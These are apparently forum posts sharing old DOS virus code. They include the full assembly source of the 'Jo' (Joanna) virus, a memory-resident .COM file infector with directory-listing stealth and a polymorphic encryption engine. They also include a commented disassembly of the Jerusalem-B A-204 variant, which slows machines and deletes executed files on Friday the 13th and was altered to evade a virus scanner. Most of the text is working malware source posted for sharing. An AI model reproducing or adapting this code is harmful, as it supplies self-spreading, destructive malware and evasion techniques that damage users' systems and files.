0000:06C3 0000 ADD [BX+SI],AL
0000:06C5 0000 ADD [BX+SI],AL
0000:06C7 0000 ADD [BX+SI],AL
0000:06C9 0000 ADD [BX+SI],AL
0000:06CB 0000 ADD [BX+SI],AL
0000:06CD 0000 ADD [BX+SI],AL
0000:06CF 0000 ADD [BX+SI],AL
0000:06D1 0000 ADD [BX+SI],AL
0000:06D3 0000 ADD [BX+SI],AL
0000:06D5 0000 ADD [BX+SI],AL
0000:06D7 0000 ADD [BX+SI],AL
0000:06D9 005718 ADD [BX+018H],DL
0000:06DC 0825 OR [DI],AH
0000:06DE A5 MOVSW
0000:06DF FEC5 INC CH
0000:06E1 07 POP ES
0000:06E2 1E PUSH DS
0000:06E3 0210 ADD DL,[BX+SI]
0000:06E5 07 POP ES
0000:06E6 57 PUSH DI
0000:06E7 18B10D47 SBB [BX+DI+Y0470DH],DH
0000:06EB 0104 ADD [SI],AX
0000:06ED 7F70 JG X075F

"JV.MOC" PAGE 0014

0000:06EF 0010 ADD [BX+SI],DL
0000:06F1 07 POP ES
0000:06F2 1D001C SBB AX,01C00H
0000:06F5 09A20D3D OR [BP+SI+Y03D0DH],SP
0000:06F9 0C1B OR AL,01BH
0000:06FB 02B10D02 X06FB: ADD DH,[BX+DI+Y020DH]
0000:06FF F24D REPNE DEC BP
0000:0701 360E PUSH CS
0000:0703 0300 ADD AX,[BX+SI]
0000:0705 0000 ADD [BX+SI],AL
0000:0707 00EE ADD DH,CH
0000:0709 002A X0709: ADD [BP+SI],CH
0000:070B 0F POP CS
0000:070C 42 INC DX
0000:070D 01C1 ADD CX,AX
0000:070F 0DB44C OR AX,04CB4H
0000:0712 B000 MOV AL,00H
0000:0714 CD21 X0714: INT 021H
0000:0716 4D DEC BP
0000:0717 7344 JAE X075D
0000:0719 6F73 JG X078E



Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Как два байта переслать...

John Zaicev

unread,
May 12, 2012, 6:45:58 AM5/12/12
to
[√] Привет _All_ !

NAME Jo
PAGE 55,132
TITLE Jo Virus.

;
; This is Yet another virus from the ARCV, this one is called
; Joanna, it was written by Apache Warrior, ARCV President.
;
; It has Stealth features, it is a Resident infector of .COM files
; and uses the Cybertech Mutation Engine (TM) by Apache Warrior for
; its Polymorphic features. There is a maximum of 3 unchanged bytes
; in the Encrypted code.
;

.model tiny

code segment

ASSUME CS:CODE,DS:CODE,ES:CODE

int_21ofs equ 84h
int_21seg equ 86h
length equ offset handle-offset main
msglen equ offset oldstart-offset msg
tsrlen equ (offset findat-offset main)/10
len equ offset handle-offset main
virlen equ (offset string-offset main2)/2
decryptlen equ offset main2-offset main

org 100h

start: jmp main
db 0,0,0

main: mov si,offset main2 ; SI offset for decrypt
mov cx,virlen ; viri decrypt size
loop_1:
db 2eh,81h,2ch ; decrypt
switch: dw 0
add si,02h
dec cx
jnz loop_1
main2: call findoff ; find file ofset
findoff: pop si ;
sub si,offset findoff
push ds
push es
push cs
pop ds
push cs
pop es
mov ax,0ff05h ; Test for Scythe2 Boot
int 13h
cmp ah,0e9h ; Check for Scythe2 Boot
jnz haha ; no go on
mov ah,09h ; Display message
lea dx,[si+offset msg2]
int 21h
jmp $ ; Crash the machine
haha: mov ah,2ah ; Date Test
int 21h ;
cmp dx,1210h ; Is month the Oct.
jnz main3 ; no go on
mov ah,09h ; Display Message
lea dx,[si+offset msg]
int 21h


main3: mov di,0100h ; move old programs
push si ; start back to the start
mov ax,offset oldstart ;
add si,ax ;
mov cx,05h ;
cld ;
repz movsb ;

inst: mov ax,0ffa4h ; check to see if already
instaled
int 21h
pop si ; bring back si
cmp ax,42a1h
je oldprog ; Yes return to old program

tt2: xor ax,ax ; Residency Routine
push ax
mov ax,ds ; Get MCB segment Address
dec ax ;
mov es,ax ; Put MCB segment Address in es
pop ds ;
mov ax,word ptr ds:int_21ofs ; Load Int 21h address data
mov cx,word ptr ds:int_21seg ;
mov word ptr cs:[si+int21],ax ; Move Int 21h data to store
mov word ptr cs:[si+int21+2],cx ;
cmp byte ptr es:[0],5ah ; Check for Start of MCB
jne oldprog ; If no then quit
mov ax,es:[3] ; Play with MCB to get top of
sub ax,0bch ; Memory and reserve 3,008
bytes
jb oldprog ; for Virus
mov es:[3],ax ;
sub word ptr es:[12h],0bch ;
mov es,es:[12h] ;
push ds ;
push cs ;
pop ds ; Move Virus into Memory
mov di,0100h ; space allocated above
mov cx,len+5 ;
push si ;
add si,0100h ;
rep movsb ;
pop si
pop ds
cli ; Stop Interrupts Very
Inportant
mov ax,offset new21 ; Load New Int 21h handler
mov word ptr ds:int_21ofs,ax ; address and store
mov word ptr ds:int_21seg,es ;
sti ;

oldprog:
mov di,0100h ; Return to Orginal
pop es ; Program..
pop ds ;
push di ;
ret ;

int21 dd 0h ; Storage For Int 21h Address

;
; New interupt 21h Handler
;

sayitis: mov ax,42a1h ; Install Check..
iret

new21: ;nop ; Sign byte
cmp ax,0ffa4h ; Instalation Check
je sayitis
cmp ah,11h ; FCB Search file
je adjust_FCB
cmp ah,12h ; FCB Search Again
je adjust_FCB
cmp ah,4eh ; Handle Search file
je adjust_FCB
cmp ah,4fh ; Handle Search Again
je adjust_FCB
cmp ah,3dh ; Are they opening a file?
je intgo ; if no ignore
cmp ah,4bh ; Exec Function
jne noint
intgo: push ax ; 4bh, 3dh Infect file
push bx ; Handler save the Registers
push cx
push es
push si
push di
push dx
push ds
call checkit ; Call infect routine
pop ds
pop dx
pop di
pop si
pop es
pop cx
pop bx
pop ax
noint: jmp cs:[int21] ; Return to Orginal Int 21h

adjust_FCB: push es ; Stealth Routine
push bx
push si
push ax
xor si,si
and ah,40h ; Check for handle Search
jz okFCB
mov si,1 ; Set flag
okFCB: mov ah,2fh ; Get DTA Address
int 21h
pop ax ; Restore ax to orginal
function
call i21 ; value call it
pushf ; save flags
push ax ; save ax error code
call adjust ; Call stealth adjust routine
pop ax ; restore registers
popf
pop si
pop bx
pop es
retf 2 ; Return to caller

adjust: pushf ; Stealth check routine
cmp si,0 ; Check flag set earlyer
je fcb1
popf
jc repurn ; Check for Handle Search error
mov ah,byte ptr es:[bx+16h] ; No error then carry on
and ah,01ah ; Check stealth stamp
cmp ah,01ah ;
jne repurn ;
sub word ptr es:[bx+1ah],len ; Infected then take the viri
size
repurn: ret ; from file size.
fcb1: popf ; Same again but for the FCB
cmp al,0ffh
je meat_hook
cmp byte ptr es:[bx],0ffh
jne xx2
add bx,7
xx2: mov ah,byte ptr es:[bx+17h]
and ah,01ah
cmp ah,01ah
jne meat_hook
sub word ptr es:[bx+1dh],len
meat_hook: ret

com_txt db 'COM',0 ;

reset: ; File Attrib routines
mov cx,20h
set_back:
mov al,01h
find_att:
mov ah,43h ; Alter file attributes
i21: pushf
call cs:[int21]
exitsub: ret

checkit: ; Infect routine
push es ; Save some more registers
push ds
push ds ; Check to see if file is a
pop es ; .COM file if not then
push dx ; quit..
pop di ;
mov cx,0ffh ; Find '.' in File Name
mov al,'.' ;
repnz scasb ;
push cs ;
pop ds ;
mov si,offset com_txt ; Compare with COM extension
mov cx,3 ;
rep cmpsb ;
pop ds ; Restore Reg...
pop es ;
jnz exitsub ;

foundtype: sub di,06h ; Check for commaND.com
cmp ds:[di],'DN' ; Quit if found..
je exitsub ;
mov word ptr cs:[nameptr],dx ; Save DS:DX pointer for later
mov word ptr cs:[nameptr+2],ds ;
mov al,00h ; Find Attributes of file to
infect
call find_att ;
jc exitsub ; Error Quit.

alteratr: mov cs:[attrib],cx ; Save them
call reset ; Reset them to normal

mov ax,3d02h ; Open file
call i21
jc exitsub ; Error Quit
push cs ; Set DS to CS
pop ds ;
mov ds:[handle],ax ; Store handle

mov ax,5700h ; Read file time and date
mov bx,ds:[handle] ;
call i21 ;
ke9: mov ds:[date],dx ; Save DX
or cx,1ah ; Set Stealth Stamp
mov ds:[time],cx ; Save CX

mov ah,3fh ; Read in first 5 bytes
mov cx,05h ; To save them
mov dx,offset oldstart ;
call i21 ;
closeit: jc close2 ; Error Quit

mov ax,4202h ; Move filepointer to end
mov cx,0ffffh ; -5 bytes offset from end
mov dx,0fffbh ;
call i21 ;
jc close ; Error Quit

mov word ptr cs:si_val,ax ; Save File saize for later
cmp ax,0ea60h ; See if too big
jae close ; Yes then Quit

mov ah,3fh ; Read in last 5 bytes
mov cx,05h ;
mov dx,offset tempmem ;
call i21 ;
jc close ; Error

push cs ; Reset ES to CS
pop es ;
mov di,offset tempmem ; Check if Already infected
mov si,offset string ;
mov cx,5 ;
rep cmpsb ;
jz close ; Yes the Close and Quit

zapfile: ; No Infect and Be Damned
mov ax,word ptr cs:si_val ;
add ax,2 ;
push cs ;
pop ds ;
mov word ptr ds:[jpover+1],ax ; Setup new jump
call mut_eng ; Call Mutation Engine
mov ah,40h ; Save prog to end of file
mov bx,cs:[handle] ; Load Handle
mov cx,length ; LENGTH OF PROGRAM****
call i21 ; Write away
close2: jc close ; Quit if error

push cs ; Reset DS to CS
pop ds ;
mov ax,4200h ; Move File pointer to start
xor cx,cx ; of file
cwd ; Clever way to XOR DX,DX
call i21 ;
jc close ; Error Quit..

mov ah,40h ; Save new start
mov cx,03h ;
mov dx,offset jpover ;
call i21 ;

close: mov ax,5701h ; Restore Time and Date
mov bx,ds:[handle] ;
mov cx,ds:[time] ;
mov dx,ds:[date] ;
call i21 ;
mov ah,3eh ; Close file
call i21 ;
exit_sub: mov dx,word ptr [nameptr] ; Reset Attributes to as they
where
mov cx,ds:[attrib] ;
mov ds,word ptr cs:[nameptr+2] ;
call set_back ;
ret ; Return to INT 21h Handler


;
; CyberTech Mutation Engine
;
; This is Version Two of the Mutation Engine
; Unlike others it is very much Virus Specific.. Works
; Best on Resident Viruses..
;
; To Call
;
; si_val = File Size
;
; Returns
; DS:DX = Encrypted Virus Code, Use DS:DX pointer to
; Write From..


mut_eng:
mov ah,2ch ; Get Time
call i21 ;
mov word ptr ds:[switch],dx ; Use Sec./100th counter as key
mov word ptr ds:[switch2+1],dx ; Save to Decrypt and Encrypt
mov ax,cs:[si_val] ; Get file size
mov dx,offset main2 ;
add ax,dx ;
mov word ptr [main+1],ax ; Store to Decrypt offset
xor byte ptr [loop_1+2],28h ; Toggle Add/Sub
xor byte ptr switch2,28h ; "
push cs ; Reset Segment Regs.
pop ds ;
push cs ;
pop ax ; Find Spare Segment
sub ax,0bch ; and put in es
mov es,ax ;
mov si,offset main ; Move Decrypt function
mov di,0100h ;
mov cx,decryptlen ;
rep movsb ;
mov si,offset main2 ; Start the code encrypt
mov cx,virlen ;
loop_10: lodsw ;
switch2: add ax,0000 ;
stosw ;
loop loop_10 ;
mov si,offset string ; move ID string to end
mov cx,5 ; new code
rep movsb ;
mov dx,0100h ; Set Registers to encrypted
Virus
push es ; Location
pop ds ;
ret ; Return

; Data Section, contains Messages etc.


; Little message to the Wife to Be..

msg db 'Looking Good Slimline Joanna.',0dh,0ah
db 'Made in England by Apache Warrior, ARCV Pres.',0dh,0ah,0ah
db 'Jo Ver. 1.11 (c) Apache Warrior 92.',0dh,0ah
db '$'

msg2 db 'I Love You Joanna, Apache..',0dh,0ah,'$'

virus_name db '[JO]',00h, ; Virus Name..
author db 'By Apache Warrior, ARCV Pres.' ; Thats me..
filler dd 0h

oldstart: mov ax,4c00h ; Orginal program start
int 21h
nop
nop

j100h dd 0100h ; Stores for jumps etc
jpover db 0e9h,00,00h ;

string db '65fd3' ; ID String

:heap ; This code is not saved
handle dw 0h
nameptr dd 0h
attrib dw 0h
date dw 0h
time dw 0h
tempmem db 10h dup (?)
findat db 0h
si_val dw 0h

code ends

end start

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Солдат по осени считают.

John Zaicev

unread,
May 12, 2012, 6:45:17 AM5/12/12
to
[√] Привет _All_ !

Virus : Jerusalem Version B Variant A-204
Disassembled by : Righard Zwienenberg
Steenwijklaan 302
2541 RT The Hague
The Netherlands
Data : +31-70-3898822, V22,V22b,HST,MNP,CM
Voive : +31-70-3675379
FidoNet address : 2:512/2.3
Used Software : ASMGEN, DEBUG and D86-Disassembler
Date : 20 june 1990

Note : All Values are hex. If a value is followd by d (e.g. 30d) it means
30 decimal.

Note : This disassembly consists of two programs. The original program was
a dummy file (20h bytes long) containing 1Fh times 90 RET and 01h time
C3 RET.

0100 E9 92 00 JMP 0195 ; JUMP -> 0195h

0103 db 2A,41,2D,32,30,34,2A ; *A-204* never used

010A dw 00 01 ; Startaddress original program
010C dw 01 56 ; Startaddress-offset original program
010E db 00 ; Trigger for destruction (delete file)
; Always zero, but if it is Friday the 13th and the year is
; not equal 1987 this byte is set to one
010F dw 00 00 ; Storing place for original AX (read-only word)
0111 dw 20 00 ; Length of Original Program (0020h)
0113 dw A5 FE ; Storing place for original BX of INT 08h vector
0115 dw 00 F0 ; Storing place for original ES of INT 08h vector
0117 dw 60 14 ; Storing place for original BX of INT 21h vector
0119 dw 2B 02 ; Storing place for original ES of INT 21h vector
011B dw 56 05 ; Storing place for original BX of INT 24h vector
011D dw DE 0C ; Storing place for original ES of INT 24h vector
011F dw 40 7E ; Storing place for timer for 30 minutes trigger
; By init. set to 7E90h

; The following words are never used by the virus. The are used
; by a routine starting at 0398h which is executed when INT 21h
; is called with AH=DEh. This never happens in the code.
0121 dw 00 00 ;
0123 dw 00 00 ;
0125 dw 00 00 ;
0127 dw 00 00 ;
0129 dw 00 00 ;
012B dw 00 00 ;
012D dw 00 E8 ;
012F dw 06 EC ;

0131 dw 91 16 ; Storing place for original ES
0133 dw 80 00 ; Storing place for BX. Never read again

0135 00 00 00 80 00

0139 dw 91 16 ; Storing place for original ES

013B 5C 00

013D dw 91 16 ; Storing place for original ES

013F 6C 00 ;

0141 dw 91 16 ; Temp. storing place for original ES
0143 dw 00 20 ; Temp. storing place for AX
0145 dw 0D 1F ; Temp. storing place for ES+10h
0147 dw 5F 21 ; Storing place for AX
0149 dw A1 16 ; Temp. storing place for ES+10h
014B dw 00 F0 ; Temp. storing place for AX
014D db 02 ; Temp. storing place for AL
014E db 00 ; COM/EXE indicator
; 0 = EXE-File
; 1 = COM-File
0151 dw 30 01 ; Temp. storing place for DX
0153 dw 23 00 ; Temp. storing place for AX

0155 20 01

0157 dw 4A 00 ; Read Only!!! The code only read this word to substract it
; from AX

0159 D4 06 D4 06

015D dw 98 03 ; Temp. Storing place to store AX
015F dw 10 07 ; Probably startaddress of virus in mem
0161 dw 84 19 ; Never used!!! 1984h is stored here by the code
0163 dw C5 00 ; 00C5h is being read and put back later by the code
0165 dw 99 03 ; Temp. storing place for AX

0167 1C 00 00 00 90 90 90 90 C3

0170 dw 05 00 ; Storing place for file handle (BX)
0172 dw 20 00 ; Storing place for file attributes
; bit 0 = read only
; bit 1 = hidden file
; bit 2 = system file
; bit 3 = volume label
; bit 4 = subdirectory
; bit 5 = archive bit
; bit 8 = shareable (Novell Network)
0174 dw D5 14 ; Storing place for file date (DX)
0176 dw 99 83 ; Storing place for file time (CX)
0178 dw 00 02 ; 0200h=512d Used as multiplier/divider
017A dw 10 00 ; 0001h= 1d Used as multiplier/divider
017C dw 20 3E ; Temp. storing place for AX
017E dw 00 00 ; Temp. storing place for DX
0180 dw B9 42 ; Storing place for DX of ASCIZ-Filename
0182 dw 1A 9B ; Storing place for DS of ASCIZ-Filename

0184 db 43,4F,4D,4D,41,4E,44,2E,43,4F,4D ; COMMAND.COM
; May not become infected

018F dw 01 00 ; Storing place for variable-result of free-memory-scan
; 0000h : not enough memory available
; 0001h : enough memory available

0191 00 00 00 00

0195 FC CLD ; Clear Direct
0196 B4 E0 MOV AH,0E0 ; This is the check if the
0198 CD 21 INT 021 ; virus is already active
; in memory. INT 21h with
; AH=E0h will return AX=0300h
; if the virus is active.
019A 80 FC E0 CMP AH,0E0 ; AH>=E0h?
019D 73 16 JAE 01B5 ; Yes: -> 01B5h
019F 80 FC 03 CMP AH,3 ; AH<-03h?
01A2 72 11 JB 01B5 ; Yes: -> 01B5h
; INT 21h with AH=
; DDh,DEh,E0h
; are self-defined.

; SetUp for
; Executing original program
; We come here if an infected
; program is executed and the
; virus is already active in
; memory.
01A4 B4 DD MOV AH,0DD ;
01A6 BF 00 01 MOV DI,0100 ; Destination Index = 0100h
01A9 BE 10 07 MOV SI,0710 ; Source Index = 0710h
01AC 03 F7 ADD SI,DI ; Source Index:= 0810h
; At this place the original
; Program is located
01AE 2E 8B 8D 11 00 CS MOV CX,W[DI+011]; CX=20h (length original
; Program)
01B3 CD 21 INT 021 ;

; Here we come when the virus
; is not yet in memory
01B5 8C C8 MOV AX,CS ; AX=Code Segment
01B7 05 10 00 ADD AX,010 ; AX:=AX+10h
01BA 8E D0 MOV SS,AX ; Stack Segment:=AX
01BC BC 00 07 MOV SP,0700 ; StackPointer = 0700h
01BF 50 PUSH AX ; Store AX
01C0 B8 C5 00 MOV AX,0C5 ; AX = C5h
01C3 50 PUSH AX ; Store AX
01C4 CB RETF ; -> C5h

01C5 FC CLD ; Clear Direct
01C6 06 PUSH ES ; Store ES
01C7 2E 8C 06 31 00 CS MOV W[031],ES ; Store ES
01CC 2E 8C 06 39 00 CS MOV W[039],ES ; in storage places
01D1 2E 8C 06 3D 00 CS MOV W[03D],ES ;
01D6 2E 8C 06 41 00 CS MOV W[041],ES ;
01DB 8C C0 MOV AX,ES ; AX=ES
01DD 05 10 00 ADD AX,010 ; AX=AX+10h
01E0 2E 01 06 49 00 CS ADD W[049],AX ; Add AX (ES+10h) to 0149h
01E5 2E 01 06 45 00 CS ADD W[045],AX ; and 0145h
01EA B4 E0 MOV AH,0E0 ; AH=E0h (Self defined)
01EC CD 21 INT 021 ; CALL INT 21h

01EE 80 FC E0 CMP AH,0E0 ; AH>=0Eh?
01F1 73 13 JAE 0206 ; Yes: -> 0206
01F3 80 FC 03 CMP AH,3 ; AH=03h? Must be if the
; viruscode is in memory
; and interrupt 21h is called
; with AH=E0h.

01F6 07 POP ES ; Restore original ES
01F7 2E 8E 16 45 00 CS MOV SS,W[045] ; SS=ES+10h
01FC 2E 8B 26 43 00 CS MOV SP,W[043] ;
0201 2E FF 2E 47 00 CS JMP D[047] ;

0206 33 C0 XOR AX,AX ; AX=0000h
0208 8E C0 MOV ES,AX ; ES=0000h
020A 26 A1 FC 03 ES MOV AX,W[03FC]

; Here the A-204 variant
; differs for the first
; time from the original
; Jerusalem Version B virus.
020E 26 A0 FE 03 ES MOV AL,B[03FE] ; These two line have been
0212 2E A3 4B 00 CS MOV W[04B],AX ; changed in order
; to avoid being
; detected by ViruScan from
; John McAfee.

0216 2E A2 4D 00 CS MOV B[04D],AL
021A 26 C7 06 FC 03 F3 A5 ES MOV W[03FC],0A5F3
0221 26 C6 06 FE 03 CB ES MOV B[03FE],0CB
0227 58 POP AX
0228 05 10 00 ADD AX,010
022B 8E C0 MOV ES,AX
022D 0E PUSH CS ; Store CS
022E 1F POP DS ; DS=CS
022F B9 10 07 MOV CX,0710 ; CX=0710h
0232 D1 E9 SHR CX,1 ; CX >> 1 (CX:=0308h)
0234 33 F6 XOR SI,SI ; SI=0000h
0236 8B FE MOV DI,SI ; DI=0000h
0238 06 PUSH ES ; Store ES
0239 B8 42 01 MOV AX,0142 ; AX=0142h
023C 50 PUSH AX ; Store AX
023D EA FC 03 00 00 JMP 0:03FC

0242 8C C8 MOV AX,CS ; AX=CS
0244 8E D0 MOV SS,AX ; SS=CS
0246 BC 00 07 MOV SP,0700 ; SP=0700h
0249 33 C0 XOR AX,AX ; AX=0000h
024B 8E D8 MOV DS,AX ; DS=0000h
024D 2E A1 4B 00 CS MOV AX,W[04B] ; Restore AX
0251 A3 FC 03 MOV W[03FC],AX ; Store AX
0254 2E A0 4D 00 CS MOV AL,B[04D] ; Restore AL
0258 A2 FE 03 MOV B[03FE],AL ; Store AL
025B 8B DC MOV BX,SP ; BX=SP
025D B1 04 MOV CL,4 ; CL=04h
025F D3 EB SHR BX,CL ; BX >> 4
0261 83 C3 10 ADD BX,010 ; BX=BX+10h
0264 2E 89 1E 33 00 CS MOV W[033],BX ; Store BX. Why I don't know,
; the storing place is never
; read again
0269 B4 4A MOV AH,04A ;
026B 2E 8E 06 31 00 CS MOV ES,W[031] ; Restore ES
0270 CD 21 INT 021 ; Adjust Memory Block Size
; (SETBLOCK)

0272 B8 21 35 MOV AX,03521 ; Get original INT 21h
0275 CD 21 INT 021 ; vector

0277 2E 89 1E 17 00 CS MOV W[017],BX ; Store BX and ES of INT 21h
027C 2E 8C 06 19 00 CS MOV W[019],ES ; vector
0281 0E PUSH CS ; Store CS
0282 1F POP DS ; DS=CS
0283 BA 5B 02 MOV DX,025B ; DX=025Bh
0286 B8 21 25 MOV AX,02521 ; Set new INT 21h
0289 CD 21 INT 021 ; vector on DS:025Bh

028B 8E 06 31 00 MOV ES,W[031] ; Restore original ES
028F 26 8E 06 2C 00 ES MOV ES,W[02C] ;
0294 33 FF XOR DI,DI ; DI=0000h
0296 B9 FF 7F MOV CX,07FFF ; CX=7FFFh
0299 32 C0 XOR AL,AL ; AL=0000h
029B F2 AE REPNE SCASB ;
029D 26 38 05 ES CMP B[DI],AL ;
02A0 E0 F9 LOOPNE 029B ; No Flags: DEC CX -> 02A2h
; IF CX<>0 and not equal
; -> 029B
02A2 8B D7 MOV DX,DI ; DX=DI
02A4 83 C2 03 ADD DX,3 ; DX=DX+03h
02A7 B8 00 4B MOV AX,04B00 ; AX=4B00h
02AA 06 PUSH ES ; Store ES
02AB 1F POP DS ; Restore DS (DS:=ES)
02AC 0E PUSH CS ; Store CS
02AD 07 POP ES ; Restore ES (ES:=CS)
02AE BB 35 00 MOV BX,035 ; BX=35h
02B1 1E PUSH DS ; Store Registers
02B2 06 PUSH ES
02B3 50 PUSH AX
02B4 53 PUSH BX
02B5 51 PUSH CX
02B6 52 PUSH DX

02B7 B4 2A MOV AH,02A ; Get Current Date
02B9 CD 21 INT 021 ; DL=day
; DH=month
; CX=year
; AL=Day of the week

02BB 2E C6 06 0E 00 00 CS MOV B[0E],0 ; Set Trigger for deleting
; infected files to 00h
02C1 81 F9 C3 07 CMP CX,07C3 ; Is year 1987 ?
02C5 74 30 JE 02F7 ; Yes: -> 02F7h
02C7 3C 05 CMP AL,5 ; Is it Friday ?
02C9 75 0D JNE 02D8 ; No: -> 02D8h
02CB 80 FA 0D CMP DL,0D ; Is it 13th ?
02CE 75 08 JNE 02D8 ; No: -> 02D8h
; Yes: it is Friday
; the 13th and the
; year is not equal 1987
02D0 2E FE 06 0E 00 CS INC B[0E] ; Set Trigger for deleting
; infected files to 01h
02D5 EB 20 JMP 02F7 ; JUMP -> 02F7h

02D7 90 NOP

02D8 B8 08 35 MOV AX,03508 ; Get original INT 8h
02DB CD 21 INT 021 ; vector

02DD 2E 89 1E 13 00 CS MOV W[013],BX ; Store original BX
02E2 2E 8C 06 15 00 CS MOV W[015],ES ; and ES of INT 08h vector
02E7 0E PUSH CS
02E8 1F POP DS
02E9 C7 06 1F 00 90 7E MOV W[01F],07E90 ; Store 30d minutes into
; timer interrupt. This
; value is decreased by
; one 18.2 times per second
02EF B8 08 25 MOV AX,02508 ; Set new INT 8h vector
02F2 BA 1E 02 MOV DX,021E ; to DS:021Eh
02F5 CD 21 INT 021 ;

02F7 5A POP DX ; Restore Registers
02F8 59 POP CX
02F9 5B POP BX
02FA 58 POP AX
02FB 07 POP ES
02FC 1F POP DS
02FD 9C PUSHF ; Store Flags
02FE 2E FF 1E 17 00 CS CALL D[017] ; Call original INT 21h
; address

0303 1E PUSH DS ; Restore DS
0304 07 POP ES ; Store ES
0305 B4 49 MOV AH,049 ; Free Memory
0307 CD 21 INT 021 ;

0309 B4 4D MOV AH,04D ; Get ExitCode of
030B CD 21 INT 021 ; SubProgram (WAIT)
; Stored in AL

030D B4 31 MOV AH,031 ; AX=31[AL]h
030F BA 00 06 MOV DX,0600 ; DX=600h
0312 B1 04 MOV CL,4 ; CL=04h
0314 D3 EA SHR DX,CL ; DX >> 4 (DX=60H)
0316 83 C2 10 ADD DX,010 ; DX=DX+10h (DX=70h)
; Program Size in Paragraphs
; is 70h Bytes
0319 CD 21 INT 021 ; Terminate but Stay Resident

031B 32 C0 XOR AL,AL ; Clear AL
031D CF IRET ; Interrupt Return

; 031Eh is the new INT 08h
; vector. This routine is
; called 18.2 times per
; second
031E 2E 83 3E 1F 00 02 CS CMP W[01F],2 ; Timer decreased til 02h?
0324 75 17 JNE 033D ; No: -> 033D

; Yes: now 32 minutes are
; passed since infection
0326 50 PUSH AX ; Store Registers
0327 53 PUSH BX
0328 51 PUSH CX
0329 52 PUSH DX
032A 55 PUSH BP

032B B8 02 06 MOV AX,0602 ; Scroll box with coordinates
032E B7 87 MOV BH,087 ; (5h,5h),(10h,10h) two
0330 B9 05 05 MOV CX,0505 ; lines upwards
0333 BA 10 10 MOV DX,01010 ;
0336 CD 10 INT 010 ;

0338 5D POP BP ; Restore Registers
0339 5A POP DX
033A 59 POP CX
033B 5B POP BX
033C 58 POP AX
033D 2E FF 0E 1F 00 CS DEC W[01F] ; Decrease Timer-Trigger
; This now becomes 01h
0342 75 12 JNE 0356 ; If 0: -> 0356h
0344 2E C7 06 1F 00 01 00 CS MOV W[01F],1 ; Timer-Trigger set to 01h
034B 50 PUSH AX ; Store AX
034C 51 PUSH CX ; Store CX
034D 56 PUSH SI ; Store SI
034E B9 01 40 MOV CX,04001 ; CX=4001h
0351 F3 AC REP LODSB ; Load byte [SI] into AL and
; advance SI, done CX times.
; This is the routine which
; decreases the speed of the
; machine til 1/5th of the
; original. 32 minutes after
; infection this routine is
; executes 18.2 times a second
0353 5E POP SI ; Restore SI
0354 59 POP CX ; Restore CX
0355 58 POP AX ; Restore AX
0356 2E FF 2E 13 00 CS JMP D[013] ; Jump to original INT 08h
; address

; Here we come if INT 21h is
; called
035B 9C PUSHF ; Store Flags
035C 80 FC E0 CMP AH,0E0 ; AH=0Eh ?
035F 75 05 JNE 0366 ; No: -> 0366h
0361 B8 00 03 MOV AX,0300 ; AX=0300h
0364 9D POPF ; Restore Flags
0365 CF IRET ; Interrupt Return

0366 80 FC DD CMP AH,0DD ; AH=DDh?
0369 74 13 JE 037E ; Yes: -> 037Eh
036B 80 FC DE CMP AH,0DE ; AH=DEh?
036E 74 28 JE 0398 ; Yes: -> 0398h
; INT 21h is never called
; with AH=DEh. So the routine
; at 0398h is never used
; (seems)

0370 3D 00 4B CMP AX,04B00 ; Load & Execute ?
0373 75 03 JNE 0378 ; No: -> 0378h
0375 E9 B4 00 JMP 042C ; Yes: -> 042Ch
0378 9D POPF ; Restore Flags
0379 2E FF 2E 17 00 CS JMP D[017] ; Jmp to original
; INT 21h address

; Execute original program
037E 58 POP AX
037F 58 POP AX ; Restore AX
0380 B8 00 01 MOV AX,0100 ; AX=0100h
0383 2E A3 0A 00 CS MOV W[0A],AX ; Store AX
0387 58 POP AX ; Restore AX
0388 2E A3 0C 00 CS MOV W[0C],AX ; Store AX
038C F3 A4 REP MOVSB ;
038E 9D POPF ; Restore Flags
038F 2E A1 0F 00 CS MOV AX,W[0F] ; AX=0000h
0393 2E FF 2E 0A 00 CS JMP D[0A] ; JUMP -> CS:0100h
; This executes the original
; program


; This routine is called
; when INT 21h with AH=DEh
; is called which never
; happens in the code. I
; have to investigate it
; a bit more. Til then
; it remains without comments.
0398 83 C4 06 ADD SP,6
039B 9D POPF
039C 8C C8 MOV AX,CS
039E 8E D0 MOV SS,AX
03A0 BC 10 07 MOV SP,0710
03A3 06 PUSH ES
03A4 06 PUSH ES
03A5 33 FF XOR DI,DI
03A7 0E PUSH CS
03A8 07 POP ES
03A9 B9 10 00 MOV CX,010
03AC 8B F3 MOV SI,BX
03AE BF 21 00 MOV DI,021
03B1 F3 A4 REP MOVSB
03B3 8C D8 MOV AX,DS
03B5 8E C0 MOV ES,AX
03B7 2E F7 26 7A 00 CS MUL W[07A]
03BC 2E 03 06 2B 00 CS ADD AX,W[02B]
03C1 83 D2 00 ADC DX,0
03C4 2E F7 36 7A 00 CS DIV W[07A]
03C9 8E D8 MOV DS,AX
03CB 8B F2 MOV SI,DX
03CD 8B FA MOV DI,DX
03CF 8C C5 MOV BP,ES
03D1 2E 8B 1E 2F 00 CS MOV BX,W[02F]
03D6 0B DB OR BX,BX
03D8 74 13 JE 03ED
03DA B9 00 80 MOV CX,08000
03DD F3 A5 REP MOVSW
03DF 05 00 10 ADD AX,01000
03E2 81 C5 00 10 ADD BP,01000
03E6 8E D8 MOV DS,AX
03E8 8E C5 MOV ES,BP
03EA 4B DEC BX
03EB 75 ED JNE 03DA
03ED 2E 8B 0E 2D 00 CS MOV CX,W[02D]
03F2 F3 A4 REP MOVSB
03F4 58 POP AX
03F5 50 PUSH AX
03F6 05 10 00 ADD AX,010
03F9 2E 01 06 29 00 CS ADD W[029],AX
03FE 2E 01 06 25 00 CS ADD W[025],AX
0403 2E A1 21 00 CS MOV AX,W[021]
0407 1F POP DS
0408 07 POP ES
0409 2E 8E 16 29 00 CS MOV SS,W[029]
040E 2E 8B 26 27 00 CS MOV SP,W[027]
0413 2E FF 2E 23 00 CS JMP D[023]

; We come here if B[0Eh]=1,
; which means Friday 13th,
; year<>1987. This routine
; deletes the loaded file.
0418 33 C9 XOR CX,CX ; Clear all bits of the File
; Attribute
041A B8 01 43 MOV AX,04301 ;
041D CD 21 INT 021 ; Put File Atributes

041F B4 41 MOV AH,041 ;
0421 CD 21 INT 021 ; Delete a File (Unlink)

